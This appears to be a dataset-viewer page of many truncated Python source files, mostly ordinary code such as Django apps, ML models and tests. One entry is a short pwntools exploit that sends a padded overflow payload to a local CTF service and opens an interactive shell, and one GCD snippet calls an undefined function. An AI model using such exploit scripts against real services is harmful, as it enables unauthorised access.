text stringlengths 2 999k |
|---|
# -*- coding: utf-8 -*-
from datetime import datetime
from math import ceil
from mongoengine.errors import DoesNotExist
from flask import current_app, url_for, g
from application.extensions import db
from application.models.inventory import Tag
from configs.enum import POST_STATUS, ACTIVITY_STATUS, \
POST_TAG_... |
import numpy as np
from scipy.spatial.distance import cdist, euclidean
def mad(data, data_median=None, axis=None):
"""
Median absolute deviation
Parameters
----------
data
data_median
Returns
-------
"""
nans = np.isnan(data)
if nans.any():
data = np.ma.MaskedArr... |
import json
import requests
import config
def pushplus(title, content, token, template='html'):
'''pushplus消息推送.
Args:
title: 消息标题.
content: 具体消息内容,根据不同template支持不同格式.
token: 用户令牌.
template: 发送消息模板, html或json.
Returns:
JSON格式的请求响应内容.
'''
u... |
"""
DC motor control using L298N module
Three-pin mode: ENA - pwm, IN1/IN2 - digital output
"""
from machine import Pin, PWM
import time
ENA = PWM(Pin(23), freq = 1000)
IN1 = Pin(22, Pin.OUT)
IN2 = Pin(21, Pin.OUT)
while True:
# 全速正转(脉冲宽度1023)
IN1.value(1)
IN2.value(0)
ENA.duty(1023)
time.sleep(... |
#!/usr/bin/env python
import argparse
import atexit
import copy
import os
import shutil
import subprocess
import sys
import tempfile
import warnings
import django
from django.apps import apps
from django.conf import settings
from django.db import connection, connections
from django.test import TestCase, TransactionTes... |
import openpyxl as xl
from google.cloud import texttospeech_v1 as tts
import os
wb = xl.load_workbook("input.xlsx")
ws = wb["Sheet1"]
os.environ["GOOGLE_APPLICATION_CREDENTIALS"] = "key.json"
client = tts.TextToSpeechClient()
voice = tts.VoiceSelectionParams(language_code="en-US", name="en-US-Wavenet-D")
audio_config ... |
# from django.db import models
# from django.db.models import fields
from rest_framework import serializers
from core.models import Tag, Ingredient, Recipe
class TagSerializer(serializers.ModelSerializer):
"""Serializers for Tag objects"""
class Meta:
model = Tag
fields = ('id', 'name')
... |
from nose.tools import assert_equal, assert_is_instance, assert_not_equal, assert_raises
from pyuri import URI
uri_string = 'scheme://user:pass@localhost:8000/path'
def test_uri_only_argument():
"""Tests that the URI is parsed when passed as only argument"""
uri = URI(uri_string)
assert_equal(uri.uri, ... |
# Created by Emperorc
# Finished by Kerberos_20 10/23/07
import sys
from ru.catssoftware.gameserver.datatables import SkillTable
from ru.catssoftware.gameserver.model.quest import State
from ru.catssoftware.gameserver.model.quest import QuestState
from ru.catssoftware.gameserver.model.que... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
input_a = 289
input_b = 629
# input_a = 65
# input_b = 8921
multiplicator_a = 16807
multiplicator_b = 48271
divisor_ab = 2**31-1
divisor_bit_mask = 2**31-1
divisor_bit_mask_2 = 2**31
stepNumber = 40000000
current_value_a = input_a
current_value_b = input_b
same_bits_... |
import argparse
import os
import time
from multiprocessing import cpu_count, Pool
import gzip
import gym
from scipy.misc import imresize
import numpy as np
from lib.utils import log, mkdir
from lib.constants import DOOM_GAMES
try:
from lib.env_wrappers import ViZDoomWrapper
except Exception as e:
None
ID = "... |
from abc import abstractmethod, ABCMeta
from algoritmia.problems.shortestpaths.backtracer import Backtracer
class IShortestPathsFinder(metaclass=ABCMeta): #[isp
@abstractmethod
def some_to_some_distance(self, G: "acyclic IDigraph<T>", d: "T, T -> R",
I: "SizedIterableContainer<T>", F: "Sized... |
# coding: utf-8
# ----------------------------------------------------------------------------
# <copyright company="Aspose" file="MailServerFolder.py">
# Copyright (c) 2018-2020 Aspose Pty Ltd. All rights reserved.
# </copyright>
# <summary>
# Permission is hereby granted, free of charge, to any person obta... |
# -*- coding: utf-8 -*-
"""
jinja2.testsuite.api
~~~~~~~~~~~~~~~~~~~~
Tests the public API and related stuff.
:copyright: (c) 2017 by the Jinja Team.
:license: BSD, see LICENSE for more details.
"""
import os
import tempfile
import shutil
import pytest
from jinja2 import Environment, Undefined, C... |
# -*- coding: utf-8 -*-
#############################################################################
#
# Copyright © Dragon Dollar Limited
# contact: contact@dragondollar.com
#
# This software is a collection of webservices designed to provide a secure
# and scalable framework to build e-commerce websites.
#
# This s... |
from django.db import migrations
def create_site(apps, schema_editor):
Site = apps.get_model("sites", "Site")
custom_domain = "graklu-31871.botics.co"
site_params = {
"name": "Graklu",
}
if custom_domain:
site_params["domain"] = custom_domain
Site.objects.update_or_create(def... |
#! /usr/bin/env python
"""Test script for the gdbm module
Roger E. Masse
"""
import gdbm
from gdbm import error
from test_support import verbose, TestFailed
filename= '/tmp/delete_me'
g = gdbm.open(filename, 'c')
g['a'] = 'b'
g['12345678910'] = '019237410982340912840198242'
a = g.keys()
if verbose:
print ... |
"""
Distributional Q-learning models.
"""
from abc import abstractmethod
from functools import partial
from math import log
import numpy as np
import tensorflow as tf
from .base import TFQNetwork
from .dqn_scalar import noisy_net_dense
from .util import nature_cnn, simple_mlp, take_vector_elems
def rainbow_models(... |
# -*- coding: utf-8 -*-
#
# Copyright © Spyder Project Contributors
# Licensed under the terms of the MIT License
# (see spyder/__init__.py for details)
"""
spyder.plugins.toolbar
======================
Toolbar Plugin.
"""
|
########## Test common
import tk3dv
from tk3dv import common as tkc
from tk3dv.common import utilities as tkcu
########## Different ways of calling libs
print('Epoch time:', tk3dv.common.utilities.getCurrentEpochTime())
print('Epoch time:', tkc.utilities.getCurrentEpochTime())
print('Epoch time:', tkcu.getCurrentEpoch... |
#!/usr/bin/env python3
# Copyright (c) 2014-2017 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test the rawtransaction RPCs.
Test the following RPCs:
- createrawtransaction
- signrawtransacti... |
# Generated by Django 2.2.5 on 2019-09-19 07:33
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
('auth', '0011_update_proxy_permissions'),
]
operations = [
migrations.CreateModel(
name='User',
f... |
"""Custom panel for UI Logs"""
async def async_setup(hass, config):
"""Set up this integration using yaml."""
url = "/api/panel_custom/uilogs"
location = hass.config.path("custom_components/uilogs/uilogs.js.gz")
hass.http.register_static_path(url, location)
hass.components.frontend.async_register_... |
import _plotly_utils.basevalidators
class SymbolsrcValidator(_plotly_utils.basevalidators.SrcValidator):
def __init__(
self, plotly_name="symbolsrc", parent_name="scatterpolargl.marker", **kwargs
):
super(SymbolsrcValidator, self).__init__(
plotly_name=plotly_name,
pare... |
# Copyright (c) 2015 Midokura SARL
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless require... |
__version__ = "1.0"
__author__ = "Mzk"
__all__ = ['bootstrap', 'app']
|
#
# -*- coding: utf-8 -*-
# Copyright 2019 Red Hat
# GNU General Public License v3.0+
# (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
#############################################
# WARNING #
#############################################
#
# This file is auto generated by ... |
# Copyright 2020 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
import logging
import re
from dataclasses import dataclass
from typing import Dict, Mapping, Optional, Sequence
from pants.base.deprecated import deprecated
from pants.util.frozendict imp... |
from NodeDefender.db.sql import SQL, MessageModel, UserModel, GroupModel, \
NodeModel, iCPEModel, SensorModel
from sqlalchemy import or_
def messages(user, limit = 10):
if type(user) is str:
user = SQL.session.query(UserModel).filter(UserModel.email ==
... |
import json
import logging
import os
from galaxy import util
from galaxy.util.odict import odict
from galaxy.web import url_for
from tool_shed.util import encoding_util, xml_util
log = logging.getLogger( __name__ )
REPOSITORY_OWNER = 'devteam'
def accumulate_tool_dependencies( tool_shed_accessible, tool_dependenci... |
from zeus import auth
from zeus.vcs.providers.github import GitHubRepositoryProvider
from .base import Resource
class GitHubOrganizationsResource(Resource):
def get(self):
"""
Return a list of GitHub organizations avaiable to the current user.
"""
user = auth.get_current_user()
... |
#!/usr/bin/python
import cv2
import numpy as np
from multiprocessing import Pool
from optparse import OptionParser
from os.path import isfile, join
import scipy.ndimage.filters as fi
from scipy import signal
from scipy import misc
import sys, os, math
# Color print
class bcolors:
HEADER = '\033[95m'
PLAIN = '... |
import logging
import traceback
from django.db.models.sql import EmptyResultSet
from django.utils import timezone
from silk.collector import DataCollector
from silk.config import SilkyConfig
Logger = logging.getLogger('silk.sql')
def _should_wrap(sql_query):
for ignore_str in SilkyConfig().SILKY_IGNORE_QUERIES... |
from tensorflow.keras.models import load_model
from tensorflow.python.keras.backend import set_session
import tensorflow as tf
from flask import Flask, request, render_template, jsonify, send_file, url_for
import os
from PIL import Image, ImageOps
import numpy as np
import math
import time
import base64
app = Flask(__... |
# -*- coding: utf-8 -*-
# Generated by Django 1.10.2 on 2016-11-12 11:48
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Review... |
import datetime
import gzip
import io
import os.path
import pyosm.model as model
import requests
import time
from lxml import etree
def isoToDatetime(s):
"""Parse a ISO8601-formatted string to a Python datetime."""
if s is None:
return s
else:
return datetime.datetime.strptime(s, "%Y-%m-%d... |
# Copyright (c) 2015 The Johns Hopkins University/Applied Physics Laboratory
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICEN... |
# -*- coding: utf-8 -*-
import psycopg2,sys
from db.config import config
def createSTNTable():
command = ("""
CREATE TABLE stn (
stnID SERIAL PRIMARY KEY,
mediumID varchar(10),
content text,
corrArticleID int
)
""")
conn = None
try:
params = config()
conn = psycopg2.connect(**params)
cur... |
import os.path, time
import re
import sys
def main():
inputpath = './'
counter = sys.argv[1]
store = dict()
with open(inputpath + 'store.inv.' + counter) as input_store:
lines_store = input_store.read().splitlines()
store[0] = parseLioDu(lines_store)
prevDays = (1,2,3)
for age... |
# Copyright 2019-2020 the ProGraML authors.
#
# Contact Chris Cummins <chrisc.101@gmail.com>.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0... |
import numpy as np
import torch
from torch.autograd import Variable
from torch.utils.data import DataLoader
import time
import os
import matplotlib.pyplot as plt
import pickle
import json
from enn import enn, enrml, lamuda
from net import netLSTM_withbn
from data import TextDataset
from configuration import... |
from operator import attrgetter
from django.conf import settings
from olympia import amo
def extract(collection):
attrs = ('id', 'created', 'modified', 'slug', 'author_username',
'subscribers', 'weekly_subscribers', 'monthly_subscribers',
'rating', 'listed', 'type', 'application')
... |
import glm
from OpenGL.GL import *
from OpenGL.GLUT import *
import game
class Shader:
def __init__(self, vertex_file, fragment_file):
vertex_shader_handle = glCreateShader(GL_VERTEX_SHADER)
fragment_shader_handle = glCreateShader(GL_FRAGMENT_SHADER)
with open(vertex_file, "r") as f:
... |
# -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... |
from tests.testcase import TestCase
from edmunds.cache.cachemanager import CacheManager
class TestCacheServiceProvider(TestCase):
"""
Test the Cache Service Provider
"""
def test_not_enabled(self):
"""
Test not enabled
:return: void
"""
# Write config
... |
import logging
import time
from itertools import count, islice
from django.core.management.base import BaseCommand
from django.conf import settings
from biostar.forum.models import Post
from biostar.forum.search import more_like_this, perform_search
logger = logging.getLogger('engine')
def time_func(func, kwargs)... |
from django.apps import AppConfig
# from django.utils.translation import gettext as _
class UniTicketConfig(AppConfig):
name = 'uni_ticket'
verbose_name = 'Gestione Ticket'
# verbose_name = _("Gestione Ticket")
def ready(self):
# Signals
import uni_ticket.signals
|
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not... |
from hacker.settings import inputfile
filename = inputfile('crypto', 'steganographic', 'boxes.gif')
with open(filename, 'rb') as f:
value = f.read()
result = value[-14:-2]
print(result)
|
#logConfig.py
import logging
import sys
import time
#configure root settings.
#logging.basicConfig(level=logging.DEBUG, format = "%(levelname)s %(name)s %(asctime)s %(message)s", datefmt = "%m/%d/%Y %I:%M:%S %p")
#Create logging format for the handlers
#format_basic = logging.Formatter("%(levelname)-10s %(name)s %... |
"""
Function reads in monthly data from ERA5-BE
Notes
-----
Author : Zachary Labe
Date : 15 July 2020
Usage
-----
[1] read_ERA5_monthlyBE(variq,directory,sliceperiod,sliceyear,
sliceshape,addclimo,slicenan)
"""
def read_ERA5_monthlyBE(variq,directory,sliceperiod,sliceyear,slicesh... |
def HCF(x,y):
if(y==0):
return x
else:
return hcfnaive(y,x%y)
x = 128
y= 46
# prints 12
print ("The gcd of128 and 46 is : ",end="")
print (HCF(120,46))
|
from interface import NearestNeighbor
from amuse.lab import *
from amuse.io import text
if __name__ == '__main__':
number_of_particles = 1000
particles = new_plummer_sphere(1000)
code = NearestNeighbor()
code.set_maximum_number_of_particles(5000)
code.commit_parameters
code.particles.add_parti... |
'''
>> First run:
Accuracy: ?
Epoch: 1000
------------
>> Second run:
Length: 899, Activation: SoftMax
'''
import os
from itertools import cycle
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
from keras import backend as K
from keras.layers import Conv1D, BatchNormali... |
# Copyright 2014-2018 ARM Limited
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in w... |
import math
x=int(input("enter the no. "))
n=int(input("enter terms "))
for i in range (1,n+1):
c=(x**i)/math.factorial(i)
print(c)
|
import pygame
import pygame_widgets
from pygame_widgets.widget import WidgetBase
from pygame_widgets.mouse import Mouse, MouseState
class Dropdown(WidgetBase):
def __init__(self, win, x, y, width, height, name, choices, isSubWidget=False, **kwargs):
super().__init__(win, x, y, width, height, isSubWidget)... |
import argparse, pickle
import os, sys
sys.path.append(os.getcwd())
sys.path.append(os.path.join(os.getcwd(), 'utee'))
import time
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
import numpy as np
from utee import misc
from util import fgsm_gt, pgd_gt, ifgsm_gt, wrm_gt
fr... |
import pytest
import mock
import numpy as np
from sequence.Readers import CertifiedLumiChecker
class DummyEvent(object):
def __init__(self):
self.iblock = 0
self.cache = {}
self.run = np.array([0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 3])
self.luminosityBlock = np.array([0, 1, 2, 4, 5, 6, 0, ... |
#########################
# #
# Required settings #
# #
#########################
# This is a list of valid fully-qualified domain names (FQDNs) for the NetBox server. NetBox will not permit write
# access to the server via any other hostnames. The first FQDN in the list... |
from typing import Dict, Iterator, List
import torch
import torch.nn as nn
class CollectionIndexerHead(nn.Module):
'''
Wraps a nn.module and calls forward_representation in forward (needed for multi-gpu use)
'''
def __init__(self,
neural_ir_model: nn.Module,
use_fp16... |
# coding=utf-8
# Copyright 2020 The HuggingFace Datasets Authors and the TensorFlow Datasets Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LI... |
from __future__ import division
import gc
import os
import json
import copy
import numpy as np
import scipy.integrate as integrate
from scipy.interpolate import interp1d
try:
from scipy.special import logsumexp
except ImportError:
from scipy.misc import logsumexp
from scipy.special import i0e
from ..core.li... |
import komand
from .schema import SearchIncidentInput, SearchIncidentOutput, Input, Output, Component
# Custom imports below
from komand.exceptions import PluginException
from icon_bmc_remedy_itsm.util import error_handling
import requests
import json
import urllib.parse
class SearchIncident(komand.Action):
def ... |
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
import torch
import torchvision
from maskrcnn_benchmark.structures.bounding_box import BoxList
from maskrcnn_benchmark.structures.segmentation_mask import SegmentationMask
class COCODataset(torchvision.datasets.coco.CocoDetection):
def __ini... |
def cust_fun():
print("Hello from the deep layers!!")
return 1 |
import fire
import shutil
from tqdm import tqdm
import sep.loaders
from sep._commons.utils import *
from sep.loaders.loader import Loader
from sep.savers.saver import Saver
def extract_to_images(data_loader: Loader, data_saver: Saver,
output_root,
remove_existing=False,
... |
# Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
# SPDX-License-Identifier: Apache-2.0
"""
Unit tests for bucket_wrapper.py functions.
"""
import io
from urllib.parse import urlparse
import uuid
import pytest
from botocore.exceptions import ClientError
import bucket_wrapper
@pytest.mark.parame... |
# Import the MenuItem class using 'from' 'import'
from menu_item import MenuItem
# Inherit the MenuItem class and define the Drink class
class Drink(MenuItem) :
pass
|
# Copyright 2018 Stanford University
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writi... |
from model import connect_to_db, db, Drug, Dosage, Pharmacokinetics, Pharmacogenomics
def create_drug(generic_name, brand_name, pharmGKB_ID, pgx_moa):
"""create and return new drug"""
drug = Drug(generic_name=generic_name,
brand_name=brand_name,
pharmGKB_ID=pharmGKB_ID,
... |
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License.
from typing import Dict, Iterable, Type
class ComponentRegistration:
@staticmethod
def get_components() -> Iterable["ComponentRegistration"]:
return _components.values()
@staticmethod
def add(compon... |
import os
from pathlib import Path as P
import dash
from dash import html, dcc
import dash_bootstrap_components as dbc
from dash.exceptions import PreventUpdate
from dash_extensions.snippets import send_file, send_bytes
from dash.dependencies import Input, Output, State
from ms_mint.Mint import Mint
from . import... |
from setuptools import find_packages, setup
if __name__ == "__main__":
setup(
name="dagster-k8s-test-infra",
author="Elementl",
author_email="hello@elementl.com",
license="Apache-2.0",
description="A Dagster integration for k8s-test-infra",
url="https://github.com/da... |
from met.models import Artist
from rest_framework import response, serializers, status
class ArtistSerializer(serializers.ModelSerializer):
artist_display_name = serializers.CharField(
allow_blank=False,
max_length = 225)
class Meta:
model = Artist
fields = ('artist_id', 'ar... |
# -*- coding: utf-8 -*-
#
# This file is part of couchapp released under the Apache 2 license.
# See the NOTICE for more information.
import logging
import getopt
import sys
import couchapp.commands as commands
from couchapp.errors import AppError, CommandLineError
from couchapp.config import Config
logger = logging... |
"""Player phone number field
Revision ID: 398cf0b7b8c8
Revises: 37000801b290
Create Date: 2014-06-23 21:07:23.417795
"""
# revision identifiers, used by Alembic.
revision = '398cf0b7b8c8'
down_revision = '37000801b290'
from alembic import op
import sqlalchemy as sa
def upgrade():
op.add_column('player', sa.Co... |
#twillo api
from twilio.rest import Client
#speech recognition api
import speech_recognition as sr
#operating system dependent functionality
import os
import re
#webbrowser
import webbrowser
#HTTP requests
import requests
#computer vision
import cv2
#face_recognition A.I
import face_recognition
import numpy as np
impor... |
# Generated by Django 3.0.7 on 2020-06-29 04:45
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('Home', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='Slider',
fields=[
('id', mode... |
# Copyright 2020 The dm_control Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to i... |
import datetime
from kombu import Connection, Exchange, Queue
media_exchange = Exchange('media', 'direct', durable=True)
video_queue = Queue('video', exchange=media_exchange, routing_key='video')
def process_media(body, message):
print body
message.ack()
# connections
with Connection('amqp://test:test@192.16... |
#!/usr/bin/env python
# coding: utf-8
import threading
import rospy
from actionlib.action_client import ActionClient, CommState
from actionlib_msgs.msg import GoalStatus
class GoalState(object):
PENDING = 0
ACTIVE = 1
DONE = 2
name = {0: "PENDING", 1: "ACTIVE", 2: "DONE"}
class EnhancedActionClien... |
# -*- coding: utf-8 -*-
# Copyright (c) 2021, it126 and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
# import frappe
from frappe.model.document import Document
class LibrarySettings(Document):
pass
|
"""Provides Flask integration for the external user interface."""
from typing import Any, Callable
from datetime import datetime, timedelta
from functools import wraps
from pytz import timezone, UTC
from werkzeug.urls import Href, url_encode, url_parse, url_unparse, url_encode
from flask import Blueprint, render_temp... |
from I3Tray import *
from icecube import icetray, dataclasses, dataio
from icecube.icetray import I3Frame
from icecube.icetray import traysegment
from icecube import ppc
from icecube.simclasses import I3MCPESeriesMap
import os
import os.path
from os.path import expandvars
@traysegment
def PPCTraySegment(tray,
... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
import re
import requests
"""
An ansible module to wrap the calls to GitLab using pagination.
"""
# pylint: disable=redefined-builtin,wildcard-import,unused-wildcard-import
from ansible.module_utils.basic import *
DOCUMENTATION = '''
---
module: rest_get
short_description:... |
# ex3_kidou
import numpy as np
import matplotlib.pyplot as plt
def euler(t_start, t_end, dt, x_0, u_0, y_0, v_0, ax):
t = t_start
tary = [t]
xary = [x_0]
uary = [u_0]
yary = [y_0]
vary = [v_0]
while t < t_end:
r3 = np.sqrt(x_0 ** 2 + y_0 ** 2) ** 3
x_1 = x_0 + u_0 * dt
... |
"""This builds a GUI which can
a) load and show IMU data
b) apply an algorithm for stride segmentation and event detection
c) be used to manually add/delete/adapt labels for strides and/or activites.
isort:skip_file (Required import order: PySide2, pyqtgraph, mad_gui.*)
"""
import os
import sys
import warnings
from pa... |
import base64
import os
import re
from collections import defaultdict
from typing import Any, Dict, Iterable, List, Tuple
from unittest import mock
import ujson
from django.conf import settings
from django.core.exceptions import ValidationError
from django.http import HttpRequest, HttpResponse
from django.test import ... |
# Copyright 2020 The AutoKeras Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to i... |
"""
Does parsing of ETag-related headers: If-None-Matches, If-Matches
Also If-Range parsing
"""
from .datetime_utils import (
parse_date,
serialize_date,
)
from .descriptors import _rx_etag
from .util import header_docstring
__all__ = ['AnyETag', 'NoETag', 'ETagMatcher', 'IfRange', 'etag_property']
def... |
from pwn import * # NOQA
# p = process('./metacortex')
p = remote('localhost', 1014)
# gdb.attach(p)
payload = b'0\x00'
while len(payload) < 104:
payload += b'\x00'
payload += b'\n'
p.send(payload)
p.interactive()
|
import mock
import unittest
import json
import falcon
from falcon.testing import helpers
from jumpgate.volume.drivers.sl import volumes
from jumpgate.volume.drivers import volume_types_loader
import SoftLayer
TENANT_ID = 333333
GUEST_ID = 111111
DISK_IMG_ID = 222222
BLKDEV_MOUNT_ID = '0'
GOOD_VOLUME_ID = "100000"
PR... |
###############################################################################
# ForceSoftening: class representing a force softening kernel
###############################################################################
class ForceSoftening:
"""class representing a force softening kernel"""
def __init__(sel... |
#
# MLDB-1707-no-context-resolve-table.py
# Mathieu Marquis Bolduc, 2016-06-07
# Copyright (c) 2016 mldb.ai inc. All rights reserved.
#
import unittest
from mldb import mldb, MldbUnitTest, ResponseException
class Mldb1707Test(MldbUnitTest): # noqa
def test_single_val(self):
conf = {
"type": ... |
from django.contrib import admin
from artworks.models import Artwork
# Register your models here.
|
import numpy as np
from keras import backend as K
smooth = 1e-5
def precision(y_true, y_pred):
y_true_f = K.flatten(y_true)
y_pred_f = K.flatten(y_pred)
true_positives = K.sum(K.round(K.clip(y_true_f * y_pred_f, 0, 1)))
predicted_positives = K.sum(K.round(K.clip(y_pred_f, 0, 1)))
return true_po... |
import pandas as pd
import numpy as np
from typing import Union
from pathlib import Path
from nameparser import HumanName
class ExtractData:
def __init__(self, filename: Union[str, Path], age_bins=None, drop_columns=None):
# """Extract Training Data from file or Path
# Arguments:
# fi... |
import tempfile
import ctypes
import os
import platform
import subprocess
import CraftOS.OsUtilsBase
from CraftCore import CraftCore
class FileAttributes():
# https://msdn.microsoft.com/en-us/library/windows/desktop/gg258117(v=vs.85).aspx
FILE_ATTRIBUTE_READONLY = 0x1
FILE_ATTRIBUTE_REPARSE_POINT = 0x400... |
class Solution:
def __init__(self):
self.res = []
self.graph = defaultdict(list)
self.n = 0
def findItinerary(self, tickets: List[List[str]]) -> List[str]:
for f, t in tickets:
self.graph[f].append(t)
for k in self.graph:
self.graph[k].so... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.